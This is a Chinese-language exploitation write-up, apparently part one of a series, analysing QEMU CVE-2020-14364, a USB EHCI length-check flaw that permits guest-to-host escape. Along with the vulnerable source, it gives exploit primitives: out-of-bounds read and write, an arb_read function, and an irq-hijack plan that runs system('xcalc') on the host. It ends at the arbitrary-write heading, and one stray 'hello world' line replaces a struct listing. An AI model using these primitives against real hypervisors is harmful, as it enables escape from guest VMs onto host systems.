PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司

本系列文章是笔者刚入门QEMU开始写的,前两种是借鉴之处,后两种是网上现未公开的利用usb1的利用方式。本文首先介绍前两种方法。

CVE-2020-14364

图片[1]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

QEMU版本

QEMU的版本没什么要求,因为这个漏洞声称对5.2.0之前的版本都适用,所以随便找个QEMU版本就行,关于内核和rootfs.img镜像不再多说,但是这次涉及到usb设备的制作。

第一种思路

环境配置

由于第二种思路需要QEMU启动时加载qxl-vga设备,我们需要在编译QEMU之前安装spice,如果不走这个思路的话可以跳过,直接编译QEMU,但是记得去掉–enable-spice参数。

以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com)]

#有一些依赖需要安装
#1.安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure 
make
sudo make install

#2.安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz 
cd celt-0.5.1.3/
./configure 
make
sudo make install
 
#别的依赖
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev

#安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure 
make
sudo make install

然后就可以编译QEMU源码了。

tar -xvf qemu-xxxx.tar.xz
cd qemu-xxxx
./configure --enable-kvm --enable-debug --target-list=x86_64-softmmu --disable-werror (可选 --enable-spice)
make -j 4
make install

制作usb设备

qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img

启动

对应路径/qemu-system-x86_64 \-enable-kvm \-append "console=ttyS0 root=/dev/sda rw"  \-m 1G \-kernel ./linux/arch/x86/boot/bzImage  \-hda ./rootfs.img \-device e1000,netdev=net0 \-netdev user,id=net0,hostfwd=tcp::33333-:22 \-usb \-drive if=none,format=raw,id=disk1,file=./usb.img \-device ich9-usb-ehci1,id=usb \-device usb-storage,drive=disk1 \(可选 -device qxl-vga \)-nographic

漏洞分析

图片[2]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

首先通过上面那张图可以注意到,过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果,说白了就是这个检查没有什么卵用,为什么这么说呢?因为这个函数的功能本来就是获得s->setup_len而已,真正的输入和输出在另外两个函数,那么我们可以控制这个长度然后进行溢出,重点就是看溢出到哪,控制什么了,先看官方给的解释。

USB总线通过创建一个USBpacket对象来和USB设备通信。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

我们来看看这两个结构体外加一个函数,因为本文用的是4.0.0版QEMU,所以贴的源码也是这一版本的。

图片[3]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

/* definition of a USB device */struct USBDevice {DeviceState qdev;USBPort *port;char *port_path;char *serial;void *opaque;uint32_t flags;/* Actual connected speed */int speed;/* Supported speeds, not in info because it may be variable (hostdevs) */int speedmask;uint8_t addr;char product_desc[32];int auto_attach;bool attached;int32_t state;uint8_t setup_buf[8];uint8_t data_buf[4096];  //data_bufint32_t remote_wakeup;int32_t setup_state;int32_t setup_len;      //setup_lenint32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[USB_MAX_ENDPOINTS];USBEndpoint ep_out[USB_MAX_ENDPOINTS];QLIST_HEAD(, USBDescString) strings;const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */const USBDescDevice *device;int configuration;int ninterfaces;int altsetting[USB_MAX_INTERFACES];const USBDescConfig *config;const USBDescIface  *ifaces[USB_MAX_INTERFACES];};==========================================================================/* Structure used to hold information about an active USB packet.  */struct USBPacket {/* Data fields for use by the driver.  */int pid;uint64_t id;USBEndpoint *ep;unsigned int stream;QEMUIOVector iov;uint64_t parameter; /* control transfers */bool short_not_ok;bool int_req;int status; /* USB_RET_* status code */int actual_length; /* Number of bytes actually transferred *//* Internal use by the USB layer.  */USBPacketState state;USBCombinedPacket *combined;QTAILQ_ENTRY(USBPacket) queue;QTAILQ_ENTRY(USBPacket) combined_entry;};======================================================================void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes){QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;assert(p->actual_length >= 0);assert(p->actual_length + bytes <= iov->size);switch (p->pid) {case USB_TOKEN_SETUP:case USB_TOKEN_OUT:iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;case USB_TOKEN_IN:iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;default:fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);abort();}p->actual_length += bytes;}

另外通过看上面那个图得到的漏洞函数:

static void do_token_setup(USBDevice *s, USBPacket *p){int request, value, index;if (p->iov.size != 8) {p->status = USB_RET_STALL;return;}usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copys->setup_index = 0;p->actual_length = 0;s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];if (s->setup_len > sizeof(s->data_buf)) {      //这个检查无效fprintf(stderr,"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",s->setup_len, sizeof(s->data_buf));p->status = USB_RET_STALL;return;}request = (s->setup_buf[0] << 8) | s->setup_buf[1];value   = (s->setup_buf[3] << 8) | s->setup_buf[2];index   = (s->setup_buf[5] << 8) | s->setup_buf[4];if (s->setup_buf[0] & USB_DIR_IN) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {s->setup_state = SETUP_STATE_SETUP;}if (p->status != USB_RET_SUCCESS) {return;}if (p->actual_length < s->setup_len) {s->setup_len = p->actual_length;}s->setup_state = SETUP_STATE_DATA;} else {if (s->setup_len == 0)s->setup_state = SETUP_STATE_ACK;elses->setup_state = SETUP_STATE_DATA;}p->actual_length = 8;}===========================================================void usb_device_handle_control(USBDevice *dev, USBPacket *p, int request,int value, int index, int length, uint8_t *data){USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev);if (klass->handle_control) {klass->handle_control(dev, p, request, value, index, length, data);}}==============================================================#define USB_DEVICE_GET_CLASS(obj) \OBJECT_GET_CLASS(USBDeviceClass, (obj), TYPE_USB_DEVICE)  //跟着OBJECT_GET_CLASS后面还能跟好长

do_token_setup相当于是给我们创造一个使得len的长度越界的机会,在这上面调用usb_packet_copy时还未完成len的越界,所以我们找找在do_tocken_setup之后调用的usb_packet_copy,这时候其实调试看调用链是很合适的,但当时的笔者还不太清楚断点下在哪。

出人意料的是,do_token_setup只被调用一次,为查看源码找答案带来了极大的方便。

图片[4]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

static void usb_process_one(USBPacket *p){USBDevice *dev = p->ep->dev;/** Handlers expect status to be initialized to USB_RET_SUCCESS, but it* can be USB_RET_NAK here from a previous usb_process_one() call,* or USB_RET_ASYNC from going through usb_queue_one().*/p->status = USB_RET_SUCCESS;if (p->ep->nr == 0) {/* control pipe */if (p->parameter) {do_parameter(dev, p);return;}switch (p->pid) {case USB_TOKEN_SETUP:do_token_setup(dev, p);break;case USB_TOKEN_IN:do_token_in(dev, p);break;case USB_TOKEN_OUT:do_token_out(dev, p);break;default:p->status = USB_RET_STALL;}} else {/* data pipe */usb_device_handle_data(dev, p);}}

那接下来看看他附近的函数,看调用usb_process_one之后有没有再调用usb_packet_copy的。(八成是有的,就是这种方法找起来太过痛苦)

static void do_token_in(USBDevice *s, USBPacket *p){int request, value, index;assert(p->ep->nr == 0);request = (s->setup_buf[0] << 8) | s->setup_buf[1];value   = (s->setup_buf[3] << 8) | s->setup_buf[2];index   = (s->setup_buf[5] << 8) | s->setup_buf[4];switch(s->setup_state) {case SETUP_STATE_ACK:if (!(s->setup_buf[0] & USB_DIR_IN)) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {return;}s->setup_state = SETUP_STATE_IDLE;p->actual_length = 0;}break;case SETUP_STATE_DATA:if (s->setup_buf[0] & USB_DIR_IN) {int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //中!!!s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;default:p->status = USB_RET_STALL;}}======================================================================static void do_token_out(USBDevice *s, USBPacket *p){assert(p->ep->nr == 0);switch(s->setup_state) {case SETUP_STATE_ACK:if (s->setup_buf[0] & USB_DIR_IN) {s->setup_state = SETUP_STATE_IDLE;/* transfer OK */} else {/* ignore additional output */}break;case SETUP_STATE_DATA:if (!(s->setup_buf[0] & USB_DIR_IN)) {int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //中了!!!s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;default:p->status = USB_RET_STALL;}}

这俩函数也是只在那里被调用一次,有预感会中,没想到真中了,那我们来看看这俩函数是干嘛的,看到两次传入的len都是这么赋值的。

int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}

也就是说,如果p->iov.size不可控,那就很有可能无法很好的利用这一漏洞,甚至完全利用不了,当然,这能发出来作为CVE肯定是能利用的,如果不出意外,p->iov.size就是可控的,我们试试看能不能找到控制其大小的地方。

首先知道p是USBPacket结构体,iov是QEMUVector结构体,然后看了一下。

图片[5]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(一) – 作者:北京星阑科技有限公司-安全小百科

那么话说回来,我们现在看那两个函数是干嘛的,do_token_out和do_token_in看in和out应该是和io有关,再看看上面的一个注释。

/** Handlers expect status to be initialized to USB_RET_SUCCESS, but it* can be USB_RET_NAK here from a previous usb_process_one() call,* or USB_RET_ASYNC from going through usb_queue_one().*/

没有得到想要的信息,那就看看那两个作为调用函数的依据的宏有没有注释一些东西。

#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */

找到了,看到很明显的就是数据交互的函数,结果和猜的一样。

那么也就是说,我们很有可能获得了任意长度写入读出的能力,在这种情况下,可以看看数据是存在哪个结构体中的哪个变量里,周围有没有覆盖的好对象。

从do_token_in开始:

usb_packet_copy(p, s->data_buf + s->setup_index, len);

回上面去看源码,可以看到在usb_packet_copy中还要根据p的pid调用函数,p的pid有这么三种,在上面贴过。

#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */================================================usb_packet_copy:switch (p->pid) {case USB_TOKEN_SETUP:case USB_TOKEN_OUT:iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;case USB_TOKEN_IN:iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;

其实调用iov_to_buf和调用iov_from_buf的条件和之前的do_token_out以及do_token_in是一致的。

关于iov_to_buf和iov_from_buf的源码就不贴了,用处不大,贴一下这个:

iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,size_t offset, void *buf, size_t bytes)...memcpy(buf, iov[0].iov_base + offset, bytes);...iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,size_t offset, const void *buf, size_t bytes)...memcpy(iov[0].iov_base + offset, buf, bytes);...

再回头看p的结构体,看iov附近有什么好溢出的。

unsigned int stream;QEMUIOVector iov;uint64_t parameter; /* control transfers */

很遗憾,没有找到什么有价值的利用的地方,再看另一结构体。

printf("hello world!");

在网上搜索USBEndpoint ep_ctl,稍微找了下没找到有用的信息,驱动小白罢了。

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

通过usbdevice的对象地址可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

这点不难理解,USBDevice就是上面的结构体,得到结构体基址后加上偏移就能得到其中成员的地址,首先肯定是通过一越界读取来获得这一地址,然后再越界去覆盖一些成员,覆盖setup_index是因为写入的地址等于setup_index+data_buf,所以构造一下就能任意地址写。

我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

改变setup_buf[0]为读入方向就能读取,并且对setup_index修改就能任意地址读。

利用手法

1、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

2、在data_buf中伪造irq结构。

3、以伪造结构劫持ehcistate中的irq对象。

4、通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。

想看懂exp只有上面的利用过程还不够,后面主要讲解任意读写原语的构造。

构造任意读写原语

struct EHCIState {USBBus bus;DeviceState *device;qemu_irq irq;MemoryRegion mem;AddressSpace *as;[ ... ]/**  EHCI spec version 1.0 Section 2.3*  Host Controller Operational Registers*/uint8_t caps[CAPA_SIZE];union {uint32_t opreg[0x44/sizeof(uint32_t)];struct {uint32_t usbcmd;uint32_t usbsts;uint32_t usbintr;uint32_t frindex;uint32_t ctrldssegment;uint32_t periodiclistbase;uint32_t asynclistaddr;uint32_t notused[9];uint32_t configflag;};};

重点是opreg ,我们得到mmio_fd之后就映射一块内存,其实就是映射usb设备的内存,这样就让cpu访问usb直接访问内存,然后在usb的初始化中,对EHCIState结构中的opreg 的基地址设置在这块内存的偏移0x20。

static void usb_ehci_pci_init(Object *obj){DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);EHCIPCIState *i = PCI_EHCI(obj);EHCIState *s = &i->ehci;s->caps[0x09] = 0x68;        /* EECP */s->capsbase = 0x00;s->opregbase = 0x20;    //这里s->portscbase = 0x44;s->portnr = NB_PORTS;if (!dc->hotpluggable) {s->companion_enable = true;}usb_ehci_init(s, DEVICE(obj));  //调用了这个}

再往下看看这个调用:

void usb_ehci_init(EHCIState *s, DeviceState *dev){/* 2.2 host controller interface version */s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);s->caps[0x01] = 0x00;s->caps[0x02] = 0x00;s->caps[0x03] = 0x01;        /* HC version */s->caps[0x04] = s->portnr;   /* Number of downstream ports */s->caps[0x05] = 0x00;        /* No companion ports at present */s->caps[0x06] = 0x00;s->caps[0x07] = 0x00;s->caps[0x08] = 0x80;        /* We can cache whole frame, no 64-bit */s->caps[0x0a] = 0x00;s->caps[0x0b] = 0x00;QTAILQ_INIT(&s->aqueues);QTAILQ_INIT(&s->pqueues);usb_packet_init(&s->ipacket);memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,"capabilities", CAPA_SIZE);memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, //this"operational", s->portscbase);memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,"ports", 4 * s->portnr);memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,&s->mem_ports);}

在usb_ehci_init函数中又注册了对opreg区域读写的操作函数,

static const MemoryRegionOps ehci_mmio_opreg_ops = {.read = ehci_opreg_read,.write = ehci_opreg_write,.valid.min_access_size = 4,.valid.max_access_size = 4,.endianness = DEVICE_LITTLE_ENDIAN,};

对opreg的写操作会调用到ehci_opreg_write函数,

如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。

下面看exp中的set_EHCIState:

void set_EHCIState(){//ehci->periodiclistbase被我们填充为dmabuf的物理地址mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase//设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_statemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}

首先看为什么设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE。

#0  do_token_setup #1  0x0000563a32c8ef9e in usb_process_one #2  0x0000563a32c8f1a9 in usb_handle_packet#3  0x0000563a32ca0847 in ehci_execute#4  0x0000563a32ca1b62 in ehci_state_execute #5  0x0000563a32ca205f in ehci_advance_state #6  0x0000563a32ca24a9 in ehci_advance_periodic_state #7  0x0000563a32ca279f in ehci_frame_timer   //<--------------------#8  0x0000563a32d28e50 in timerlist_run_timers #9  0x0000563a32d28e99 in qemu_clock_run_timers #10 0x0000563a32d2919e in qemu_clock_run_all_timers#11 0x0000563a32d27b47 in main_loop_wait #12 0x0000563a32b5e021 in main_loop #13 0x0000563a32b65d2d in main #14 0x00007f23c5afbbf7 in __libc_start_main #15 0x0000563a32a11d6a in _start

调用链来自CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com),

小编自己下的断点没调出来,通过调用链可以看到:调用ehci_advance_periodic_state需先通过ehci_work_bh,看看在ehci_work_bh中,什么情况下才会调用ehci_advance_periodic_state。

static void ehci_work_bh(void *opaque){EHCIState *ehci = opaque;int need_timer = 0;int64_t expire_time, t_now;uint64_t ns_elapsed;uint64_t uframes, skipped_uframes;[ ... ]if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {  //这里[ ... ]}===================================================================static inline bool ehci_periodic_enabled(EHCIState *s){return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);}==================================================================static inline bool ehci_enabled(EHCIState *s){return s->usbcmd & USBCMD_RUNSTOP;}

首先可以看到需usbcmd设置USBCMD_RUNSTOP | USBCMD_PSE,

然后才能进入ehci_advance_periodic_state。

下面看为什么要ehci->periodiclistbase被填充为dmabuf的物理地址。

static void ehci_advance_periodic_state(EHCIState *ehci){uint32_t entry;uint32_t list;const int async = 0;switch(ehci_get_state(ehci, async)) {case EST_INACTIVE:if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {ehci_set_state(ehci, async, EST_ACTIVE);// No break, fall through to ACTIVE} elsebreak;case EST_ACTIVE:if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {ehci_queues_rip_all(ehci, async);ehci_set_state(ehci, async, EST_INACTIVE);break;}list = ehci->periodiclistbase & 0xfffff000;   //这里/* check that register has been set */if (list == 0) {break;}list |= ((ehci->frindex & 0x1ff8) >> 1);     //这里if (get_dwords(ehci, list, &entry, 1) < 0) { //这里break;}DPRINTF("PERIODIC state adv fr=%d.  [%08X] -> %08X\n",ehci->frindex / 8, list, entry);ehci_set_fetch_addr(ehci, async,entry);      //这里ehci_set_state(ehci, async, EST_FETCHENTRY);ehci_advance_state(ehci, async);ehci_queues_rip_unused(ehci, async);break;default:/* this should only be due to a developer mistake */fprintf(stderr, "ehci: Bad periodic state %d. ""Resetting to active\n", ehci->pstate);g_assert_not_reached();}}

list = ehci->periodiclistbase & 0xfffff000; + list |= ((ehci->frindex & 0x1ff8) >> 1);使得list为virt2phys(dmabuf)+4。

get_dwords(ehci, list, &entry, 1)将list上的内容写入entry  ( dmabuf赋值时 entry = dmabuf + 4;),所以在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry  (*entry = virt2phys(qh)+0x2;)。

之后在ehci_set_fetch_addr(ehci, async,entry); 中,

static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr){if (async) {s->a_fetch_addr = addr;} else {s->p_fetch_addr = addr;}}

将list的内容,即virt2phys(qh)+2写入s->p_fetch_addr。

这里的entry为什么要多个+2是因为:

static void ehci_advance_periodic_state(EHCIState *ehci)[...]ehci_set_fetch_addr(ehci, async,entry); //这里得到entryehci_set_state(ehci, async, EST_FETCHENTRY);  //这里设置state为EST_FETCHENTRY,所以进入下面的函数处理分支会调用这个状态对应的ehci_advance_state(ehci, async);        //进这里看ehci_queues_rip_unused(ehci, async);
static void ehci_advance_state(EHCIState *ehci, int async){EHCIQueue *q = NULL;int itd_count = 0;int again;do {switch(ehci_get_state(ehci, async)) {case EST_WAITLISTHEAD:again = ehci_state_waitlisthead(ehci, async);break;case EST_FETCHENTRY:  //第一次运行到这里again = ehci_state_fetchentry(ehci, async); //进去看看break;case EST_FETCHQH:  //这里q = ehci_state_fetchqh(ehci, async);  //得到qhif (q != NULL) {assert(q->async == async);again = 1;} else {again = 0;}break;[ ... ]============================================================static int ehci_state_fetchentry(EHCIState *ehci, int async){int again = 0;uint32_t entry = ehci_get_fetch_addr(ehci, async);[ ... ]switch (NLPTR_TYPE_GET(entry)) {case NLPTR_TYPE_QH:   //这里ehci_set_state(ehci, async, EST_FETCHQH); //这里设置之后回到ehci_advance_state就能调用那个返回qh的分支了again = 1;break;[ ... ]

我们的目的是得到qh结构,即要运行EST_FETCHQH这一分支,第一次进来时,运行ehci_state_fetchentry得到entry,内容和s->p_fetchaddr相等,是virt2phys(qh)+0x2,并且在ehci_state_fetchentry中可以设定下次循环调用获得qh的分支,条件是NLPTR_TYPE_GET(entry)和NLPTR_TYPE_QH值相等,看下二者定义:

#define NLPTR_TYPE_QH            1     // queue head#define NLPTR_TYPE_GET(x)        (((x) >> 1) & 3)
对于NLPTR_TYPE_GET(x)在这是 NLPTR_TYPE_GET(entry),即(virt2phys(qh)+0x2)>>1&3,

要得到1,显然加上2是能确保我们在这里百分百能达成条件的,所以在这里就能设置响应state然后调用ehci_state_fetchqh 得到qh。

static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async){uint32_t entry;EHCIQueue *q;EHCIqh qh;entry = ehci_get_fetch_addr(ehci, async);q = ehci_find_queue_by_qh(ehci, entry, async);if (q == NULL) {q = ehci_alloc_queue(ehci, entry, async);}q->seen++;if (q->seen > 1) {/* we are going in circles -- stop processing */ehci_set_state(ehci, async, EST_ACTIVE);q = NULL;goto out;}if (get_dwords(ehci, NLPTR_GET(q->qhaddr),(uint32_t *) &qh, sizeof(EHCIqh) >> 2) < 0) {q = NULL;goto out;}ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);/** The overlay area of the qh should never be changed by the guest,* except when idle, in which case the reset is a nop.*/if (!ehci_verify_qh(q, &qh)) {if (ehci_reset_queue(q) > 0) {ehci_trace_guest_bug(ehci, "guest updated active QH");}}q->qh = qh;q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);if (q->transact_ctr == 0) { /* Guest bug in some versions of windows */q->transact_ctr = 4;}if (q->dev == NULL) {q->dev = ehci_find_device(q->ehci,get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));}if (async && (q->qh.epchar & QH_EPCHAR_H)) {/*  EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */if (ehci->usbsts & USBSTS_REC) {ehci_clear_usbsts(ehci, USBSTS_REC);} else {DPRINTF("FETCHQH:  QH 0x%08x. H-bit set, reclamation status reset"" - done processing\n", q->qhaddr);ehci_set_state(ehci, async, EST_ACTIVE);q = NULL;goto out;}}#if EHCI_DEBUGif (q->qhaddr != q->qh.next) {DPRINTF("FETCHQH:  QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",q->qhaddr,q->qh.epchar & QH_EPCHAR_H,q->qh.token & QTD_TOKEN_HALT,q->qh.token & QTD_TOKEN_ACTIVE,q->qh.next);}#endifif (q->qh.token & QTD_TOKEN_HALT) {ehci_set_state(ehci, async, EST_HORIZONTALQH);} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&(NLPTR_TBIT(q->qh.current_qtd) == 0)) {q->qtdaddr = q->qh.current_qtd;ehci_set_state(ehci, async, EST_FETCHQTD);} else {/*  EHCI spec version 1.0 Section 4.10.2 */ehci_set_state(ehci, async, EST_ADVANCEQUEUE);}out:return q;}

然后就得到了qh地址,之后就会沿着上面给出的调用链继续运行下去,一直到触发漏洞函数。

接下来看任意读写原语的构造过程,只要这个看懂了,exp其余部分就自然懂了。

越界读

还记得漏洞函数是什么吗?没错,就是对赋值长度的检查形同虚设引起usb_packet_copy任意长度赋值,那首先要设置赋值的长度,设置一个比较长的长度,把漏洞函数拿下来方便看。

static void do_token_setup(USBDevice *s, USBPacket *p){usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copys->setup_index = 0;p->actual_length = 0;s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];  //长度是由这俩参数设置的[...]if (s->setup_buf[0] & USB_DIR_IN) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);[ ... ]}

可以先调用一次这个函数,使得设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值。

#define QTD_TOKEN_PID_MASK            0x00000300#define QTD_TOKEN_PID_SH              8#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */static int ehci_get_pid(EHCIqtd *qtd){switch (get_field(qtd->token, QTD_TOKEN_PID)) {case 0:return USB_TOKEN_OUT;case 1:return USB_TOKEN_IN;     //do_token_incase 2:return USB_TOKEN_SETUP;  //进do_token_setup设置 s->setup_lendefault:fprintf(stderr, "bad token\n");return 0;}}==============================================#define get_field(data, field) \(((data) & field##_MASK) >> field##_SH)

设置qtd->token为 2 << 8 即可进入do-token_setup分支,之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。

然后设置qtd->token 为 1<<8,进入do_token_in,另外在do_token_in中有别的条件需要满足。

static void do_token_in(USBDevice *s, USBPacket *p){switch(s->setup_state) {case SETUP_STATE_ACK:if (!(s->setup_buf[0] & USB_DIR_IN)) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {return;}s->setup_state = SETUP_STATE_IDLE;p->actual_length = 0;}break;case SETUP_STATE_DATA:if (s->setup_buf[0] & USB_DIR_IN) {  //这里,一个约束条件int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //这里s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;}

可以看到,要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露,达到越界读的目的。

其中p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。

越界写

同上面的一样要先进setup设置长度,再设置qtd->token 为 0<<8,进入do_token_out分支,而且这里也有额外约束条件。

static void do_token_out(USBDevice *s, USBPacket *p){assert(p->ep->nr == 0);switch(s->setup_state) {case SETUP_STATE_ACK:if (s->setup_buf[0] & USB_DIR_IN) {s->setup_state = SETUP_STATE_IDLE;/* transfer OK */} else {/* ignore additional output */}break;case SETUP_STATE_DATA:if (!(s->setup_buf[0] & USB_DIR_IN)) {  //约束条件int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;}

需要设置setup_buf[0]为USB_DIR_OUT,然后就能达到将qtd->bufptr[0]复制到s->data_buf进行覆写的目的

这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA

任意读原语

设置越界长度为0x1010,过程和上面的设置长度一样,都是进入do_token_setup设置(通过设置setup_buf[6、7]);

进行越界写,将setup_len 设置成0x1010(这里不同上面,这里是利用越界写写入的值,而不是用那俩参数设置的),setup_index设置成0xfffffff8-0x1010,因为do_token_out中调用usb_packet_copy之后会有 s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8;

再次进行越界写,此时从data_buf-8处写,覆盖了setup字段,将setup_buf[0]设置成USB_DIR_IN,并且将setup_index覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len – s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018;

最后越界读,就能读取目标地址的内容。

unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);  //越界写*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN ??unsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。do_copy_read();     //越界读return *(unsigned long *)(data_buf);}

任意写原语

